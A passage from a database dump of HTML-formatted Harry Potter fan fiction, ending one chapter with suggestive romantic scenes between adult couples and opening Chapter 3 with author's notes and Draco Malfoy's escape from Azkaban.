seducing\nyou.&#8221; He gave her his best sexy smile and she tried hard not to burst into a\nfit of giggles. &#8220;Why, is it working?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh you know it\ndoes.&#8221; She grinned, grabbing the front of his shirt and pulling him down so\nthat his lips met hers in an explosive kiss. &#8220;Come on, show me what you&#8217;re made\nof&#8230;&#8221; she cooed flirtatiously when they parted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You want to see\nwhat the Blue is made of?&#8221; Blue asked, pushing himself off her. &#8220;You asked for\nit!&#8221; he got off the bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m too sexy for\nme!&#8221; he sang loudly. Caitlyn laughed and clapped as he pulled his shirt off and\nran his hands up and down his torso. &#8220;How can you resist me when I&#8217;m so sexy?&#8221;\nhe sang tunelessly. &#8220;Who here would like a piece of Blue?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh! Me!! Me!!!&#8221;\nCaitlyn waved her arms around. Blue pointed to her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You, little\nlady, do you think you can handle just a piece of Blue?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, I certainly\nhope so!&#8221; Caitlyn battled her eyes in mock helplessness. &#8220;I don&#8217;t know how much\nlonger I can resist the temptation!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well this is your\nlucky day little woman.&#8221; Blue jumped back on the bed. &#8220;For today, and today\nonly, you get your best shot at me!&#8221; he bounced up and down, his head nearly\nhitting the ceiling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get down here\nyou goof!&#8221; she grabbed his trouser leg. He flopped down beside her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You even saved\nme the work of unbuttoning your blouse.&#8221; Blue said. He drew the sleeves down\nher arms. &#8220;You&#8217;re not supposed to make seduction this easy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I could make it\nhard if you want.&#8221; Caitlyn replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh it already\nis.&#8221; Blue smirked, lying back and drawing her on top of him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are so bad!&#8221;\nCaitlyn exclaimed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Judging from\nyour screams last night I&#8217;d say I was pretty damned good!&#8221; Blue replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ooooh&#8230;&#8221; Caitlyn\nsaid, her voice going husky.&nbsp; &#8220;You are\ngood.&#8221; They both snickered. She laid her head down against his shoulder and\ntraced along his chest with her index finger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caitlyn?&#8221; he\nsaid a few moments later. &#8220;I love you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you too.&#8221;\nShe answered softly. Caitlyn raised her head up and kissed him. He encircled\nhis arms back around her, pressing her body intimately against his. Their\nkissing grew frenzied very fast, both pressing their mouths as hard as they\ncould against one another&#8217;s. Blue&#8217;s tongue was clashing madly against hers, his\nhands running up and down her bare skin. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn brought\nhis hands up to the strap of her bra that was settled on her shoulder. Blue\ntook the initiative and slid them both down, then unclasping it in the back. He\nthrew the bra across the room, and she brought her body back against his. Now\nwith only skin upon skin, their passion was reaching new proportions, and Blue\nreached down to fuss with her jeans.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was so\ninvolved in kissing him that she didn&#8217;t realise at first that he was pulling\nher jeans down her legs. She finally became aware when a draft of cool air hit\nher thighs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue, wait!&#8221; she\nsaid, pushing herself off of him and rolling onto her back. &#8220;I can&#8217;t do this,\nnot here in my parent&#8217;s house.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blue grunted.\n&#8220;Right.&#8221; He said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry.&#8221; She\nsaid, raising her head back up to look at him. &#8220;I just can&#8217;t here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right,\nCaty.&#8221; Blue smiled at her. &#8220;I understand. And it&#8217;ll make it that much better\ntonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aye it will.&#8221;\nShe kissed him again and groaning, got off the bed. Retrieving her bra, she\nfastened it back on. &#8220;I&#8217;ve got to get back downstairs.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too.&#8221; Blue\npulled his own shirt back over his head. &#8220;We should sneak off like this more\noften.&#8221; He sat back down on the bed and watched her dress. &#8220;I&#8217;ve always wanted\nto shag you in this bed though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She stopped in\nher tracks and stared at him. &#8220;You&#8217;ve always wanted to shag me in this bed?\nWhen we met when we were eleven, you wanted to shag me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blue grinned. &#8220;Oh\nyeah! I was randy for you even back then baby!&#8221; they both started laughing\nagain as she finished buttoning up a sky blue shirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, Don\nJuan.&#8221; She grabbed his hand. &#8220;We&#8217;re lucky no one even came looking for us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose.&#8221; Blue\ntwisted his mouth. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You really\nwouldn&#8217;t want my father to see us like that would you?&#8221; Caitlyn asked, glancing\nsideways at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;no&#8230;&#8221; Blue\nliked Harry a lot, but really didn&#8217;t want to face his wrath. &#8220;Speaking of your\nfather though&#8230;did you tell him about us?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; she\nanswered. &#8220;My mum guessed though&#8230;I&#8217;m just trying to think of a way to break it\nto my father.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How about, Hey Dad,\nBlue and I are living together.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly.&#8221;\nCaitlyn rolled her eyes. &#8220;Right, that&#8217;s the perfect way to tell my father that\nhis little girl is all grown up and living with her boyfriend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well we&#8217;ve got\nto find some way.&#8221; Blue said, stopping. He put his arms around her waist and\nhugged her body close to his. &#8220;I just don&#8217;t want to hide it any longer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know, me\nneither.&#8221; Caitlyn replied, speaking into his broad chest. &#8220;But he&#8217;ll freak out\nunless we&#8217;re getting married, and we&#8217;re not getting married unless I get\npregnant.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nah.&#8221; Blue said.\n&#8220;We&#8217;re fine just the way we are.&#8221; He suddenly pulled back and looked at her.\n&#8220;You aren&#8217;t&#8230;&#8230;are you?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&#8221; Caitlyn\nexclaimed. &#8220;No way!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Blue\nsaid, relieved. &#8220;I thought you were trying to hint at it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;d tell you\nright out if I was.&#8221; Caitlyn raised herself up and kissed him. &#8220;Blame you too,\nfor ruining my figure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Laughing, they\nheaded back downstairs to rejoin the party.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione planted\na light kiss on Colin&#8217;s forehead and tucked the covers tightly around him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Day after\ntomorrow we&#8217;ll go to Diagon Alley for your school supplies.&#8221; she said,\nsmoothing his jet black hair away from his forehead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Colin\nmumbled, already half asleep. Hermione smiled and got up, closing the door\nbehind her as they left the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In the hall,\nHarry was just saying goodnight to the twins and closing their door. He grinned\nat his wife, who smiled tiredly back at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Today was a good\nday wasn&#8217;t it?&#8221; she asked, going over to her husband and leaning up against\nhim. Harry put his arms around Hermione&#8217;s waist and kissed the top of her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes it was a\ngreat day.&#8221; Harry said, absentmindedly moving his thumbs up and down over the\nfabric of her shirt. &#8220;You pulled off a spectacular party, love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; She\nlooked up at him and he lowered his head, bringing his lips to hers for a\nsweet, lingering kiss. &#8220;Are you going to bed?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, not yet.&#8221;\nHarry answered. &#8220;I&#8217;m feeling a bit wired for some reason.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What was\nbothering you earlier?&#8221; Hermione asked. &#8220;I could tell when you came in this\nmorning that you were troubled about something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Harry\nrolled his eyes in annoyance. &#8220;I meant to say something to you earlier, but I\nnever got the chance.&#8221; He sighed heavily. &#8220;There&#8217;s been an uprising of dark\nactivity in South America, and I&#8217;ve got to go on a two week business trip to\ncheck things out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why you?&#8221;\nHermione asked. &#8220;Can&#8217;t they get one of the other men in your department to go?\nAnd why for two weeks?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Apparently they\nthink I&#8217;m best for the job.&#8221; Harry replied. &#8220;I suppose that&#8217;s the truth, but\ntwo other men would do just as well as I would.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When are you\nleaving?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In a week, the\nday after Colin leaves for Hogwarts.&#8221; Harry said. He lowered his head again so\nhis forehead rested against hers. &#8220;I&#8217;ll try and get everything done as soon as\nI can, so I won&#8217;t have to stay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good.&#8221; Hermione\nsaid, kissing him once more. &#8220;I&#8217;m so tired.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well why don&#8217;t\nyou go lie down on the couch? I&#8217;ll come in there in a bit.&#8221; Harry suggested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nHermione agreed. She went into the living room and shivered, partly from a\nchill in the room and partly from&#8230;something else, she wasn&#8217;t sure what.\nSquatting down in front of the fireplace, she retrieved her wand from her\npocket and quickly lit a fire. Within moments it was crackling cheerfully and\nthe chill was gone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sat down\non the couch and leaned her head back against the top. The peacefulness of the\nroom along with the fire was lulling her into slumber, and she was almost\nasleep when she was jerked back into full consciousness by Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You gorgeous\nsexy woman.&#8221; He said; she could feel him grinning against her lips. &#8220;Trying to\ntempt me like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What on earth are\nyou talking about?&#8221; she asked, opening her eyes. Harry held two goblets in his\nhand, both filled with Merlot. &#8220;Thank you.&#8221; She said, accepting it and taking a\nlong sip. She assumed Harry was going to sit down next to her, but he took his\nown goblet and sat at his piano bench.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Any requests?&#8221;\nhe asked, taking a sip of his wine and rippling his fingers over the keys.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t care.&#8221;\nHermione said, leaning her head back again and grinning. She loved it when\nHarry played the piano; he had almost no time to do so anymore.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled in\nreply, and moved his fingers in an impromptu sort of song, no melody in\nparticular, just several songs mixed into one. Hermione, moved by the way her\nhusband played the piano, got up and sat down next to him on the bench.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can never get\nenough of your playing.&#8221; She murmured into his ear. He grinned widely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Got any requests\nnow?&#8221; he asked, stopping his playing for a moment to give her a kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anything that\nsounds romantic.&#8221; She said, leaning her head against his shoulder. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nHarry said, effortlessly tapping out a tune. Hermione closed her eyes and let\nthe melody wash over her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is this?&#8221;\nshe asked softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Chopin, Nocturne\nin B Flat Minor.&#8221; He answered, the flowing music filling the room. Hermione fell\nquiet again as he played on. His style of playing usually fitted whatever mood\nhe was in, and if this song was any indication, he was feeling somewhat\namorous, perhaps even sensual at the moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was\nbeautiful Harry.&#8221; Hermione said dreamily as the song drew to a close. &#8220;I love\nit when you play for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How about play\nwith you?&#8221; he asked huskily, drawing the cover over the keys. Hermione grinned,\nshe had been right about his mood. She reached around him to set her goblet\nsafely out of the way, and then moved to sit on his lap.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I do believe\nyou&#8217;re coming on to me, Mr. Potter.&#8221; Hermione said, encircling her arms around\nhis shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You may just be\nright, Mrs. Potter.&#8221; Harry replied. His arms were snaking their way around her slim\nwaist, and he pulled her so that their bodies were pressed together. Because\nshe was sitting on his lap, their faces were even, and their noses almost\ntouching. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two of them\nsat there, just looking at one another for what seemed like an hour. Her lips\ntrembled from being so close to his, wanting to have him ravage her mouth like\na man starved from all affection. Hermione could feel him lightly stroking her\nback through her shirt, and his light touch was making her crazy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; she\nstarted to say, but he removed one hand from around her waist and put a finger\non her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shhh.&#8221; He said,\nthen removed his finger and replaced it with his lips. His kiss was different\nfrom earlier. Those were soothing, a way of calming her after a long day. This\ntime his mouth was hot against hers, wanting, needing. Harry reached up and\npulled the tie from her hair, and her dark brown locks bounced just below her\nshoulders. He swept his hand up into it, threading his fingers through the\nstrands. Hermione&#8217;s hand left his shoulder and cupped the side of his face as\nshe opened her mouth to him, letting their kiss grow deeper and more devouring.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In a swift and\nsudden move, Harry stood up, taking her with him. He placed her on top of the\npiano cover, never taking his mouth from hers. Running his hands up and down\nher torso, he was pleased to feel her shiver. He started fumbling with the\nbuttons on her shirt, it wasn&#8217;t an easy task considering Hermione had just\ngrabbed his glasses and put them next to the two forgotten goblets of wine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Successfully\ntugging the last button off, he slipped her shirt down, then removed it\ncompletely and dropped it on the floor next to the bench. She returned the\nfavour to him, and helped pull his shirt over his head, depositing it on top of\nhers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry returned\nhis mouth to hers immediately, thrusting his tongue in roughly, not caring if\nhe was bruising his lips. He wasn&#8217;t sure why, but he felt a desperate need to\nshow her how much he loved her right at that moment. With that thought in mind,\nhe began to unzip her jeans, and she stuck her legs out so he could draw them\ndown and discard them like her shirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;.&#8221;\nHermione breathed as she wrapped her legs around his waist. &#8220;We&#8217;ve never had\nsex on your piano before.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221; He\nsaid, resting his forehead against hers. &#8220;But who said that you can&#8217;t dream of\ninteresting ways to make love once you&#8217;ve hit forty?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I sure didn&#8217;t.&#8221;\nHermione giggled girlishly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Glad for that.&#8221;\nHarry&#8217;s eyes began to gleam. &#8220;There&#8217;s a few other places I&#8217;d like to try out\nfor kinky sex.&#8221; They both laughed softly, and continued consummating their\nlove.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well that&#8217;s\na good place to leave off huh ;) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As always, please\nR/R, esp if you want the next chapter out faster! And remember what I said,\nenjoy the fluff. Adios kiddies! :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(84, 3, '\n\n\n\n<p class="MsoNormal">Chapter 3</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Thanks to those\nof you that took the time to review and I apologize with the time it took for\nthis chapter to come out. Darn writers block! More reviews always help though&#8212;\nIt takes 10 minutes to read a chapter, and 20 seconds to review&#8230;come on you\nguys, give me some lovin! :D</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Enter the drama,\nin this chapter! From here on out, the only roses you guys will be seeing (for\nthe most part) are thorns&#8230;. but bear with me, everything WILL come together!\nMay be bittersweet&#8230;. Not everything turns out happy&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Please, PLEASE\nleave me a review and let me know if you like this! If you want more romance,\nI&#8217;ll find places to put more in, leave it in a review! Thanks!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">If you want\nupdates on my writing, or for my NC 17 cookies, you can find them either at my\nyahoo group:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">http://groups.yahoo.com/group/heavenfanfics\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">or at www.portkey.org</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cold air blew\nthrough the barred window; a thin man huddled in the corner, his almost white\nhair falling down over his eyes. Draco Malfoy clutched the rags he wore closer\naround his body as he saw a streak of lightning flash across the sky outside;\nrain would soon follow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn them, they\nshould be here by now.&#8221; He muttered, standing up and pacing across his tiny\ncell. He should never have trusted Crabbe and Goyle with this task. A loud\ngrowl echoed throughout the small room and Draco whirled, prepared to confront\nwhatever it was. It was a moment before he realised it was his stomach, he\nclutched it, he&#8217;d had no food for at least a week now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t be\nweak.&#8221; He muttered. No, he could not afford to fall apart now, not when things\nwere falling into place. Once he got out, he&#8217;d be able to get food, regain his\nstrength, and most importantly, get his revenge on Harry Potter and his no good\nfamily. Draco&#8217;s lip curled involuntarily as he thought of his arch nemesis, how\nHarry Potter had the perfect life, the perfect family, he was free while Draco\nrotted away in Azkaban.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A slight\nshuffling outside his cell caught his attention; he peeked through the door to\nsee the hulking forms of Crabbe and Goyle, with a slighter, smaller form draped\nbetween them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;About\ntime.&#8221; Draco snarled\nafter they&#8217;d entered. A Dementor stayed outside, guarding the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; Crabbe\ngrunted. He and Goyle heaved the man they had lugged between them onto the bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s his\nname?&#8221; Draco asked, peeling the rags from his body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;&#8221; Goyle\nlooked up at Crabbe.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;&#8221; Crabbe\nlooked back at Goyle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You two are\npathetic!&#8221; Draco sneered, yanking the clothing from the man. &#8220;Help me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two\nimmediately sprang to action, dressing the man with Draco&#8217;s rags. Draco pulled\nthe too large trousers on, with the long shirt over. It was scary how thin he&#8217;d\nbecome, but eleven years in a place such as this one could do that to anyone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;First thing\nwe&#8217;re going to do is get to the Manor.&#8221; Draco said shortly as he finished\ndressing in the man&#8217;s clothes. &#8220;Then we&#8217;re going to get some fucking food, and\nthen we&#8217;ll start planning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay!&#8221; Crabbe\nand Goyle said in unison, the thought of having an extra meal that day was\nextremely appealing to them. Goyle went running for the door in excitement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stop!&#8221; Draco hissed loudly, as to not alert the\nguard outside. &#8220;What the hell do you think you&#8217;re doing?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You said we were\ngoing to eat.&#8221; Goyle answered, scratching his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Idiot!&#8221; Draco snapped, pinching his upper arm as\nhard as he could, Goyle didn&#8217;t even flinch; he supposed he was only pinching\nfat. &#8220;We need to leave the same way we came in!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Goyle said,\nand Draco, rolling his eyes, moved between the two hulking men. Throwing a\nglance at the innocent man on the bed, the three of them walked out past the\nDementor, who glided soundlessly behind them. Crabbe and Goyle began to drag\ntheir feet a little, the soulless being sucking the happiness of food from\ntheir mind, but a squeeze from Draco would get them back on track.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get me the hell\nout of here.&#8221; Draco spat as they finally got outside. The wind had picked up\neven more, and rain was lashing down in torrents. He could feel himself\nstaggering, and for the first time ever in his life, he was glad to have Crabbe\nand Goyle there to hold on to, the big buffoons were solid as rocks against the\nwind. The three of them managed to get down to the boat, which was held by one\nlast Dementor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodbye Hell.&#8221;\nDraco muttered as he huddled down in the bottom of the rickety boat. He could\nsee the lights from deep within the prison and shivered, that had been his home\nfor eleven years but not anymore. The tiny boat rocked over the tossing waves,\nCrabbe and Goyle struggled to keep it from smashing into the treacherous rocks\nthat surrounded the island. He covered himself with the overly large shirt and\ncloak, shielding his thin body from the chilling rain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After what seemed\nto be an hour, Draco felt the bottom of the boat hit ground. He tossed the\ncloak back with renewed energy; the storm didn&#8217;t seem to be as bad over here.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Took\nyou two losers long enough.&#8221; He cracked Goyle on the back of his head as the large man clambered out\nof the boat. &#8220;Tell me now, what state is the Manor\nin?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Crabbe and Goyle\nlooked at one another. &#8220;Well uh&#8230;&#8221; Crabbe shifted from one foot to the other.\n&#8220;It&#8217;s&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s what?&#8221;\nDraco snapped impatiently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Gone.&#8221; Crabbe said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you\nmean, gone?&#8221; Draco&#8217;s eyes blazed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Crabbe looked\nover at Goyle, uncertain. &#8220;The Manor, it&#8217;s gone&#8230;but the house elves quarters\nare still there&#8230;. and the dungeons.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco stared at\nthe two of them. His family&#8217;s home, completely gone?\nHe was about to erupt in anger when a thought occurred to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s fine.&#8221; He\nsaid abruptly, starting forward. &#8220;Once my plan is complete, I&#8217;ll rebuild it,\nbetter than ever.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Crabbe and Goyle\nboth looked at each other, relieved. Draco pushed past them, walking towards\nthe road.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How are we\ngetting back to the Manor?&#8221; he asked crisply, as there was no mode of\ntransportation awaiting them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;&#8221; Goyle dug\ninto his pockets and produced what looked like three matchsticks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco stepped\ncloser; upon inspection he saw that they were three shrunken broomsticks.\nCrabbe pulled his wand out, and to Draco&#8217;s amazement, enlarged them to their\nnormal size. He was slightly impressed, but of course wouldn&#8217;t say something.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They flew for\nhours, once above the rain; they headed due south, which would lead them to the\nManor on the northern 